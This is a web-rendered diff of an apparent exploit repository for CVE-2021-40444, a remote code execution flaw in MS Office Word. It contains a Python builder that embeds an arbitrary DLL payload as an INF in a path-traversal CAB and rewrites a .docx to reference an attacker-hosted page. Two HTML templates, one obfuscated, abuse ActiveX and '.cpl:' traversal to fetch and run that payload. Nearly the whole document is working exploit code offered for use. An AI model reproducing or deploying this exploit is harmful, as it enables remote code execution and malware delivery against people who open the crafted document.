|
||||||
|
.Set UniqueFiles=OFF
|
||||||
|
.Set Cabinet=ON
|
||||||
|
.Set Compress=OFF
|
||||||
|
.Set CabinetFileCountThreshold=0
|
||||||
|
.Set FolderFileCountThreshold=0
|
||||||
|
.Set FolderSizeThreshold=0
|
||||||
|
.Set MaxCabinetSize=0
|
||||||
|
.Set MaxDiskFileCount=0
|
||||||
|
.Set MaxDiskSize=0
|
||||||
|
{inf_file.absolute()}""")
|
||||||
|
|
||||||
|
|
||||||
|
def execute_cmd(cmd, execute_from=None):
|
||||||
|
try:
|
||||||
|
subprocess.check_output(
|
||||||
|
cmd,
|
||||||
|
shell=True,
|
||||||
|
cwd=execute_from
|
||||||
|
)
|
||||||
|
except subprocess.CalledProcessError as calledProcessError:
|
||||||
|
print(calledProcessError)
|
||||||
|
exit(1)
|
||||||
|
|
||||||
|
|
||||||
|
def generate_payload(payload, server_url, basename, copy_to=None):
|
||||||
|
# Current Working Directory
|
||||||
|
working_directory = Path(__file__).parent
|
||||||
|
|
||||||
|
# Relevant directories for Execution
|
||||||
|
data_path = working_directory.joinpath("data")
|
||||||
|
word_dat_path = data_path.joinpath("word_dat")
|
||||||
|
srv_path = working_directory.joinpath("srv")
|
||||||
|
out_path = working_directory.joinpath("out")
|
||||||
|
cab_path = working_directory.joinpath("cab")
|
||||||
|
template_path = working_directory.joinpath("template")
|
||||||
|
|
||||||
|
# Relevant files
|
||||||
|
tmp_path = data_path.joinpath("tmp_doc")
|
||||||
|
word_dll = data_path.joinpath(f'{basename}.dll')
|
||||||
|
word_doc = out_path.joinpath('document.docx')
|
||||||
|
ddf = data_path.joinpath('mswordcab.ddf')
|
||||||
|
cab_file = out_path.joinpath(f"{basename}.cab")
|
||||||
|
inf_file = cab_path.joinpath(f"{basename}.inf")
|
||||||
|
html_template_file = template_path.joinpath("sample3.html")
|
||||||
|
html_final_file = srv_path.joinpath(f"{basename}.html")
|
||||||
|
|
||||||
|
# Checking ephemeral directories
|
||||||
|
tmp_path.mkdir(exist_ok=True)
|
||||||
|
cab_path.mkdir(exist_ok=True)
|
||||||
|
|
||||||
|
print(f' [>] Payload: {payload}')
|
||||||
|
print(f' [>] HTML/CAB Hosting Server: {server_url}')
|
||||||
|
|
||||||
|
try:
|
||||||
|
payload_content = open(payload, 'rb').read()
|
||||||
|
with open(str(word_dll), 'wb') as filep:
|
||||||
|
filep.write(payload_content)
|
||||||
|
except FileNotFoundError:
|
||||||
|
print('[-] DLL Payload specified not found!')
|
||||||
|
exit(1)
|
||||||
|
except Exception as e:
|
||||||
|
print(f"[-] Exception: {e}")
|
||||||
|
exit(1)
|
||||||
|
|
||||||
|
shutil.copytree(str(word_dat_path), str(tmp_path), dirs_exist_ok=True)
|
||||||
|
print('[*] Crafting Relationships to point to HTML/CAB Hosting Server...')
|
||||||
|
with InPlace(str(tmp_path.joinpath("word").joinpath("_rels").joinpath('document.xml.rels'))) as rels:
|
||||||
|
xml_content = rels.read()
|
||||||
|
xml_content = xml_content.replace('<EXPLOIT_HOST_HERE>', f'{server_url}/{html_final_file.name}')
|
||||||
|
xml_content = xml_content.replace('<INF_CHANGE_HERE>', inf_file.name)
|
||||||
|
rels.write(xml_content)
|
||||||
|
|
||||||
|
print('[*] Packing MS Word .docx file...')
|
||||||
|
word_doc.unlink(missing_ok=True)
|
||||||
|
shutil.make_archive(str(word_doc), 'zip', str(tmp_path))
|
||||||
|
shutil.move(str(word_doc) + ".zip", str(word_doc))
|
||||||
|
shutil.rmtree(str(tmp_path))
|
||||||
|
|
||||||
|
print('[*] Generating CAB file...')
|
||||||
|
make_ddf(ddf_file=ddf, cab_file=cab_file, inf_file=inf_file)
|
||||||
|
shutil.move(word_dll, inf_file)
|
||||||
|
|
||||||
|
execute_cmd(f'makecab /F "{ddf.absolute()}"', execute_from=str(working_directory))
|
||||||
|
patched_path = f'../{inf_file.name}'.encode()
|
||||||
|
patch_cab(cab_file, str(inf_file.name).encode(), patched_path)
|
||||||
|
shutil.copy(cab_file, srv_path)
|
||||||
|
shutil.copy(ddf, srv_path)
|
||||||
|
|
||||||
|
word_dll.unlink(missing_ok=True)
|
||||||
|
inf_file.unlink(missing_ok=True)
|
||||||
|
ddf.unlink(missing_ok=True)
|
||||||
|
shutil.rmtree(str(cab_path.absolute()))
|
||||||
|
|
||||||
|
print('[*] Updating information on HTML exploit...')
|
||||||
|
shutil.copy(str(html_template_file), str(html_final_file))
|
||||||
|
|
||||||
|
print('[*] Copying MS Word .docx to Desktop for local testing...')
|
||||||
|
dest = Path(os.getenv("USERPROFILE")).joinpath("Desktop").joinpath(word_doc.name)
|
||||||
|
dest.unlink(missing_ok=True)
|
||||||
|
shutil.copy(str(word_doc.absolute()), dest)
|
||||||
|
|
||||||
|
if copy_to and os.path.isdir(copy_to):
|
||||||
|
print(f'[*] Copying malicious cab to {copy_to} for analysis...')
|
||||||
|
dest = Path(copy_to).joinpath(cab_file.name)
|
||||||
|
dest.unlink(missing_ok=True)
|
||||||
|
shutil.copy(str(cab_file.absolute()), dest)
|
||||||
|
print(f' [>] CAB file stored at: {cab_file}')
|
||||||
|
|
||||||
|
with InPlace(str(html_final_file)) as p_exp:
|
||||||
|
content = p_exp.read()
|
||||||
|
content = content.replace('<HOST_CHANGE_HERE>', f"{server_url}/{cab_file.name}")
|
||||||
|
content = content.replace('<INF_CHANGE_HERE>', f"{inf_file.name}")
|
||||||
|
p_exp.write(content)
|
||||||
|
|
||||||
|
print(f'[+] Success! MS Word Document stored at: {word_doc}')
|
||||||
|
|
||||||
|
|
||||||
|
def start_server(lport, directory: Path):
|
||||||
|
subprocess.Popen(
|
||||||
|
f'start /D "{directory.absolute()}" "CVE-2021-40444 Payload Delivery Server" cmd /c python -m http.server {lport}',
|
||||||
|
shell=True,
|
||||||
|
close_fds=True,
|
||||||
|
stderr=subprocess.DEVNULL,
|
||||||
|
stdout=subprocess.DEVNULL,
|
||||||
|
creationflags=subprocess.DETACHED_PROCESS
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def clean():
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
def validate_filename(filename):
|
||||||
|
# Required length for the file name
|
||||||
|
required_length = 12
|
||||||
|
current_length = 0 if not filename else len(filename)
|
||||||
|
gap = required_length - current_length
|
||||||
|
return filename + ''.join(random.SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in range(gap))
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
parser = argparse.ArgumentParser(description='[%] CVE-2021-40444 - MS Office Word RCE Exploit [%]')
|
||||||
|
parser.add_argument('-P', '--payload', type=str, required=True,
|
||||||
|
help="DLL payload to use for the exploit")
|
||||||
|
parser.add_argument('-u', '--url', type=str, default=None, required=True,
|
||||||
|
help="Server URL for malicious references (CAB->INF)")
|
||||||
|
parser.add_argument('-o', '--output', type=str, default=None, required=False,
|
||||||
|
help="Output files basename (no extension)")
|
||||||
|
parser.add_argument('--host', action='store_true', default=False, required=False,
|
||||||
|
help="If set, will host the payload after creation")
|
||||||
|
parser.add_argument('-p', '--lport', type=int, default=8080, required=False,
|
||||||
|
help="Port to use when hosting malicious payload")
|
||||||
|
parser.add_argument('-c', '--copy-to', type=str, default=None, required=False,
|
||||||
|
help="Copy payload to an alternate path")
|
||||||
|
|
||||||
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
filename = validate_filename(args.output)
|
||||||
|
|
||||||
|
print('[*] Generating a malicious payload...')
|
||||||
|
try:
|
||||||
|
generate_payload(payload=args.payload, server_url=args.url, basename=filename, copy_to=args.copy_to)
|
||||||
|
except:
|
||||||
|
traceback.print_exc()
|
||||||
|
if args.host:
|
||||||
|
print('[*] Hosting HTML Exploit...')
|
||||||
|
start_server(lport=args.lport, directory=Path(__file__).parent.joinpath("srv"))
|
3
template/original.html
Normal file
3
template/original.html
Normal file
File diff suppressed because one or more lines are too long
69
template/sample2.html
Normal file
69
template/sample2.html
Normal file
|
@ -0,0 +1,69 @@
|
||||||
|
<!DOCTYPE html>
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<meta http-equiv="Expires" content="-1">
|
||||||
|
<meta http-equiv="X-UA-Compatible" content="IE=11">
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<script>
|
||||||
|
function garbage() {
|
||||||
|
return 'garbage';
|
||||||
|
}
|
||||||
|
(function exploit() {
|
||||||
|
var iframe = window["Document"]['prototype']['createElement']['call'](window["document"], 'iframe');
|
||||||
|
try {
|
||||||
|
window["HTMLElement"]["prototype"]["appendChild"]['call'](window["document"]['body'], iframe);
|
||||||
|
} catch (_0x1ab454) {
|
||||||
|
window["HTMLElement"]["prototype"]["appendChild"]['call'](window["document"]['documentElement'], iframe);
|
||||||
|
}
|
||||||
|
var htmlfile = iframe['contentWindow']['ActiveXObject'], htmlfile2 = new htmlfile('htmlfile');
|
||||||
|
iframe['contentDocument']['open']()['close']();
|
||||||
|
try {
|
||||||
|
window["HTMLElement"]["prototype"]["removeChild"]['call'](window["document"]['body'], iframe);
|
||||||
|
} catch (_0x3b004e) {
|
||||||
|
window["HTMLElement"]["prototype"]["removeChild"]['call'](window["document"]['documentElement'], iframe);
|
||||||
|
}
|
||||||
|
htmlfile2['open']()['close']();
|
||||||
|
var htmlfile3 = new htmlfile2[('Script')]['ActiveXObject']('htmlfile');
|
||||||
|
htmlfile3['open']()['close']();
|
||||||
|
var htmlfile4 = new htmlfile3[('Script')]['ActiveXObject']('htmlfile');
|
||||||
|
htmlfile4['open']()['close']();
|
||||||
|
var htmlfile5 = new htmlfile4[('Script')]['ActiveXObject']('htmlfile');
|
||||||
|
htmlfile5['open']()['close']();
|
||||||
|
var ActiveXObjectVAR = new ActiveXObject('htmlfile')
|
||||||
|
, ActiveXObjectVAR2 = new ActiveXObject('htmlfile')
|
||||||
|
, ActiveXObjectVAR3 = new ActiveXObject('htmlfile')
|
||||||
|
, ActiveXObjectVAR4 = new ActiveXObject('htmlfile')
|
||||||
|
, ActiveXObjectVAR5 = new ActiveXObject('htmlfile')
|
||||||
|
, ActiveXObjectVAR6 = new ActiveXObject('htmlfile')
|
||||||
|
, XMLHttpR = new window['XMLHttpRequest']()
|
||||||
|
, XMLHttpRopen = window['XMLHttpRequest']['prototype']['open']
|
||||||
|
, XMLHttpRsend = window['XMLHttpRequest']['prototype']['send'];
|
||||||
|
XMLHttpRopen['call'](XMLHttpR, 'GET', '<HOST_CHANGE_HERE>', ![]),
|
||||||
|
XMLHttpRsend['call'](XMLHttpR),
|
||||||
|
htmlfile5['Script']['document']['write']('body>');
|
||||||
|
var htmlScript = window["Document"]['prototype']['createElement']['call'](htmlfile5['Script']['document'], 'object');
|
||||||
|
htmlScript['setAttribute']('codebase', '<HOST_CHANGE_HERE>#version=5,0,0,0');
|
||||||
|
htmlScript['setAttribute']('CLSID:edbc374c-5730-432a-b5b8-de94f0b57217'),
|
||||||
|
window["HTMLElement"]["prototype"]["appendChild"]['call'](htmlfile5['Script']['document']['body'], htmlScript),
|
||||||
|
ActiveXObjectVAR['Script']['location'] = '.cpl:123',
|
||||||
|
ActiveXObjectVAR['Script']['location'] = '.cpl:123',
|
||||||
|
ActiveXObjectVAR['Script']['location'] = '.cpl:123',
|
||||||
|
ActiveXObjectVAR['Script']['location'] = '.cpl:123',
|
||||||
|
ActiveXObjectVAR['Script']['location'] = '.cpl:123',
|
||||||
|
ActiveXObjectVAR['Script']['location'] = '.cpl:123',
|
||||||
|
ActiveXObjectVAR['Script']['location'] = '.cpl:123',
|
||||||
|
ActiveXObjectVAR['Script']['location'] = '.cpl:123',
|
||||||
|
ActiveXObjectVAR['Script']['location'] = '.cpl:123',
|
||||||
|
ActiveXObjectVAR['Script']['location'] = '.cpl:../../../AppData/Local/Temp/Low/<INF_CHANGE_HERE>',
|
||||||
|
ActiveXObjectVAR2['Script']['location'] = '.cpl:../../../AppData/Local/Temp/<INF_CHANGE_HERE>',
|
||||||
|
ActiveXObjectVAR3['Script']['location'] = '.cpl:../../../../AppData/Local/Temp/Low/<INF_CHANGE_HERE>',
|
||||||
|
ActiveXObjectVAR4['Script']['location'] = '.cpl:../../../../AppData/Local/Temp/<INF_CHANGE_HERE>',
|
||||||
|
ActiveXObjectVAR5['Script']['location'] = '.cpl:../../../../../Temp/Low/<INF_CHANGE_HERE>',
|
||||||
|
ActiveXObjectVAR4['Script']['location'] = '.cpl:../../../../../Temp/<INF_CHANGE_HERE>',
|
||||||
|
ActiveXObjectVAR4['Script']['location'] = '.cpl:../../Low/<INF_CHANGE_HERE>',
|
||||||
|
ActiveXObjectVAR4['Script']['location'] = '.cpl:../../<INF_CHANGE_HERE>';
|
||||||
|
}());
|
||||||
|
</script>
|
||||||
|
</body>
|
||||||
|
</html>
|
146
template/sample3.html
Normal file
146
template/sample3.html
Normal file
|
@ -0,0 +1,146 @@
|
||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="en">
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8">
|
||||||
|
<meta http-equiv="Expires" content="-1">
|
||||||
|
<meta http-equiv="X-UA-Compatible" content="IE=11">
|
||||||
|
<title>CVE-2021-40444</title>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<script>
|
||||||
|
'use strict';
|
||||||
|
/** @type {!Array} */
|
||||||
|
var tokensArray = ["123", "365952KMsRQT", "tiveX", "/Lo", "./../../", "contentDocument", "ppD", "Dat", "close", "Acti", "removeChild", "mlF", "write", "./A", "ata/", "ile", "../", "body", "setAttribute", "#version=5,0,0,0", "ssi", "iframe", "748708rfmUTk", "documentElement", "lFile", "location", "159708hBVRtu", "a/Lo", "Script", "document", "call", "contentWindow", "emp", "Document", "Obj", "prototype", "lfi", "bject", "send", "appendChild", "Low/<INF_CHANGE_HERE>", "htmlfile", "115924pLbIpw", "GET",
|
||||||
|
"p/<INF_CHANGE_HERE>", "1109sMoXXX", "./../A", "htm", "l/T", "cal/", "1wzQpCO", "ect", "w/<INF_CHANGE_HERE>", "522415dmiRUA", "<HOST_CHANGE_HERE>", "88320wWglcB", "XMLHttpRequest", "<INF_CHANGE_HERE>", "Act", "D:edbc374c-5730-432a-b5b8-de94f0b57217", "open", "<bo", "HTMLElement", "/..", "veXO", "102FePAWC"];
|
||||||
|
/**
|
||||||
|
* @param {number} totalExpectedResults
|
||||||
|
* @param {?} entrySelector
|
||||||
|
* @return {?}
|
||||||
|
*/
|
||||||
|
function getValue(totalExpectedResults, entrySelector) {
|
||||||
|
return getValue = function(state, value) {
|
||||||
|
/** @type {number} */
|
||||||
|
state = state - 170;
|
||||||
|
var processorState = tokensArray[state];
|
||||||
|
return processorState;
|
||||||
|
}, getValue(totalExpectedResults, entrySelector);
|
||||||
|
}
|
||||||
|
(function(data, oldPassword) {
|
||||||
|
/** @type {function(number, ?): ?} */
|
||||||
|
var toMonths = getValue;
|
||||||
|
for (; !![];) {
|
||||||
|
try {
|
||||||
|
/** @type {number} */
|
||||||
|
var userPsd = parseInt(toMonths(206)) + parseInt(toMonths(216)) * parseInt(toMonths(196)) + parseInt(toMonths(201)) * -parseInt(toMonths(173)) + parseInt(toMonths(177)) + parseInt(toMonths(204)) + -parseInt(toMonths(193)) + parseInt(toMonths(218));
|
||||||
|
if (userPsd === oldPassword) {
|
||||||
|
break;
|
||||||
|
} else {
|
||||||
|
data["push"](data["shift"]());
|
||||||
|
}
|
||||||
|
} catch (_0x34af1e) {
|
||||||
|
data["push"](data["shift"]());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
})(tokensArray, 384881), function() {
|
||||||
|
/**
|
||||||
|
* @return {?}
|
||||||
|
*/
|
||||||
|
function token_dash_lineno() {
|
||||||
|
/** @type {function(number, ?): ?} */
|
||||||
|
var addedRelations = currentRelations;
|
||||||
|
return addedRelations(205);
|
||||||
|
}
|
||||||
|
/** @type {function(number, ?): ?} */
|
||||||
|
var currentRelations = getValue;
|
||||||
|
/** @type {!Window} */
|
||||||
|
var global = window;
|
||||||
|
var document = global["document"];
|
||||||
|
var then = global["Document"]["prototype"]["createElement"];
|
||||||
|
var writeFunction = global["Document"]["prototype"]["write"];
|
||||||
|
var PL$22 = global["HTMLElement"]["prototype"]["appendChild"];
|
||||||
|
var $ = global["HTMLElement"]["prototype"]["removeChild"];
|
||||||
|
var el = then["call"](document, "iframe");
|
||||||
|
try {
|
||||||
|
PL$22["call"](document["body"], el);
|
||||||
|
} catch (_0x1ab454) {
|
||||||
|
PL$22["call"](document["documentElement"], el);
|
||||||
|
}
|
||||||
|
var ACTIVEX = el["contentWindow"]["ActiveXObject"];
|
||||||
|
var model = new ACTIVEX("htmlfile");
|
||||||
|
el["contentDocument"]["open"]()["close"]();
|
||||||
|
/** @type {string} */
|
||||||
|
var colname = "p";
|
||||||
|
try {
|
||||||
|
$["call"](document["body"], el);
|
||||||
|
} catch (_0x3b004e) {
|
||||||
|
$["call"](document["documentElement"], el);
|
||||||
|
}
|
||||||
|
model["open"]()["close"]();
|
||||||
|
var ops = new model["Script"]["Act" + "iveX" + "Obj" + "ect"]("htmlFile");
|
||||||
|
ops["open"]()["close"]();
|
||||||
|
/** @type {string} */
|
||||||
|
var _ = "c";
|
||||||
|
var TokenType = new ops["Script"]["Ac" + "tiveX" + "Object"]("htmlFile");
|
||||||
|
TokenType["open"]()["close"]();
|
||||||
|
var view = new TokenType["Script"]["Acti" + "veXO" + "bject"]("htmlFile");
|
||||||
|
view["open"]()["close"]();
|
||||||
|
var iedom = new ActiveXObject("htmlfile");
|
||||||
|
var rp_test = new ActiveXObject("htmlfile");
|
||||||
|
var htmlfile = new ActiveXObject("htmlfile");
|
||||||
|
var fake = new ActiveXObject("htmlfile");
|
||||||
|
var doc = new ActiveXObject("htmlfile");
|
||||||
|
var a = new ActiveXObject("htmlfile");
|
||||||
|
var Object = global["XMLHttpRequest"];
|
||||||
|
var args = new Object;
|
||||||
|
var ast = Object["prototype"]["open"];
|
||||||
|
var callbacks = Object["prototype"]["send"];
|
||||||
|
var modelIns = global["setTimeout"];
|
||||||
|
ast["call"](args, "GET", token_dash_lineno(), ![]);
|
||||||
|
callbacks["call"](args);
|
||||||
|
view["Script"]["document"]["write"]("<body>");
|
||||||
|
var s = then["call"](view["Script"]["document"], "object");
|
||||||
|
s["setAttribute"]("codebase", token_dash_lineno() + "#version=5,0,0,0");
|
||||||
|
/** @type {string} */
|
||||||
|
var i = "l";
|
||||||
|
s["setAttribute"]("classid", "CLSID:edbc374c-5730-432a-b5b8-de94f0b57217");
|
||||||
|
PL$22["call"](view["Script"]["document"]["body"], s);
|
||||||
|
/** @type {string} */
|
||||||
|
iedom["Script"]["location"] = "." + _ + colname + i + ":123";
|
||||||
|
/** @type {string} */
|
||||||
|
iedom["Script"]["location"] = "." + _ + colname + i + ":123";
|
||||||
|
/** @type {string} */
|
||||||
|
iedom["Script"]["location"] = "." + _ + colname + i + ":123";
|
||||||
|
/** @type {string} */
|
||||||
|
iedom["Script"]["location"] = "." + _ + colname + i + ":123";
|
||||||
|
/** @type {string} */
|
||||||
|
iedom["Script"]["location"] = "." + _ + colname + i + ":123";
|
||||||
|
/** @type {string} */
|
||||||
|
iedom["Script"]["location"] = "." + _ + colname + i + ":123";
|
||||||
|
/** @type {string} */
|
||||||
|
iedom["Script"]["location"] = "." + _ + colname + i + ":123";
|
||||||
|
/** @type {string} */
|
||||||
|
iedom["Script"]["location"] = "." + _ + colname + i + ":123";
|
||||||
|
/** @type {string} */
|
||||||
|
iedom["Script"]["location"] = "." + _ + colname + i + ":123";
|
||||||
|
/** @type {string} */
|
||||||
|
iedom["Script"]["location"] = "." + _ + colname + i + ":../../../AppData/Local/Temp/Low/<INF_CHANGE_HERE>";
|
||||||
|
/** @type {string} */
|
||||||
|
rp_test["Script"]["location"] = "." + _ + colname + i + ":../../../AppData/Local/Temp/<INF_CHANGE_HERE>";
|
||||||
|
/** @type {string} */
|
||||||
|
htmlfile["Script"]["location"] = "." + _ + colname + i + ":../../../../AppData/Local/Temp/Low/<INF_CHANGE_HERE>";
|
||||||
|
/** @type {string} */
|
||||||
|
fake["Script"]["location"] = "." + _ + colname + i + ":../../../../AppData/Local/Temp/<INF_CHANGE_HERE>";
|
||||||
|
/** @type {string} */
|
||||||
|
doc["Script"]["location"] = "." + _ + colname + i + ":../../../../../Temp/Low/<INF_CHANGE_HERE>";
|
||||||
|
/** @type {string} */
|
||||||
|
fake["Script"]["location"] = "." + _ + colname + i + ":../../../../../Temp/<INF_CHANGE_HERE>";
|
||||||
|
/** @type {string} */
|
||||||
|
fake["Script"]["location"] = "." + _ + colname + i + ":../../Low/<INF_CHANGE_HERE>";
|
||||||
|
/** @type {string} */
|
||||||
|
fake["Script"]["location"] = "." + _ + colname + i + ":../../<INF_CHANGE_HERE>";
|
||||||
|
}();
|
||||||
|
|
||||||
|
</script>
|
||||||
|
|
||||||
|
</body>
|
||||||
|
</html>
|
Loading…
Reference in a new issue